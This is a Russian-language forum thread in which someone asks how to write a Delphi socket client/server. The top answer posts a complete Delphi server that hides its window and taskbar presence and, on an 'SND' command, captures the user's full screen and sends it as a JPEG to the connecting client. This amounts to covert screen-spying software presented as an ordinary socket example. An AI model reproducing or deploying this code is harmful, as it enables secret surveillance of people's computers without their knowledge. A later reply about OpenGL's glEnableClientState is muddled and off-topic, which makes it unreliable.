Другие языки программирования и технологии

Кто-нибудь знает знает про сокеты в Delphi как организовать сервер/клиент пересылку через интернет что для этого нужно

Какое Оборудование
Настройки
Есть книга "Delphi глазами Хакера" там все прекрасно описано.
Если нужны примеры пошлю в личку
Александр Жилинский
Александр Жилинский
648
Лучший ответ
сервер

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, JPEG;

type
TForm1 = class(TForm)
SS: TServerSocket;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure SSClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure SSClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
MS: TMemoryStream;
VersionInfo: TOSVersionInfo;
Platform: string;
MajorVersion,MinorVersion,Build: DWORD;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
form1.Left := 99999;
form1.Top := 99999;
form1.Visible := false;
Application.Minimize;
ShowWindow(Application.Handle, SW_HIDE);
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle, GWL_EXSTYLE)
or WS_EX_TOOLWINDOW );
try
SS.Active := true;
except
close;
end;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
ss.Close;
end;

procedure TForm1.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
s:string;
Size: integer;
P: ^Byte;
DC: HDC;
jpg: TJpegImage;
bmp: tbitmap;
begin
s := Socket.ReceiveText;
s:=s[1]+s[2]+s[3];
if s = 'SND' then
begin
bmp:=tbitmap.Create;
jpg:=TJpegImage.Create;
MS := TMemoryStream.Create;
bmp.Height:=Screen.Height;
bmp.Width:=Screen.Width;
DC:=GetDC(0);
bitblt(bmp.Canvas.Handle,0,0,Screen.Width,Screen.Height,DC,0,0,SRCCOPY);
jpg.Assign(bmp);
jpg.SaveToStream(MS);
ReleaseDC(0, DC);
Socket.SendText('FILE#'+IntToStr(MS.Size)+'#');
MS.Position := 0;
P := MS.Memory;
Size := Socket.SendBuf(P^, MS.Size);
bmp.Free;
jpg.Free;
exit;
end;
if s = 'END' then begin MS.Free; end;
end;

procedure TForm1.SSClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
if ErrorCode = 10054 then Socket.Close;
ErrorCode := 0;
end;

end.

напиши коментарий любой я на него отвечу коиентом ато не пускают по длине
если клиент, в библиотеке OpenGL.То команда glEnableClientState.Напишешь в конце .ext он даст тебе справкувроде как, но вроде и не работает.
Переходи на С# студия 2008 express бесплатная и MSDN практически пеевели.
И с сетью там работать элемнтарно.

Visual Studio Express 2008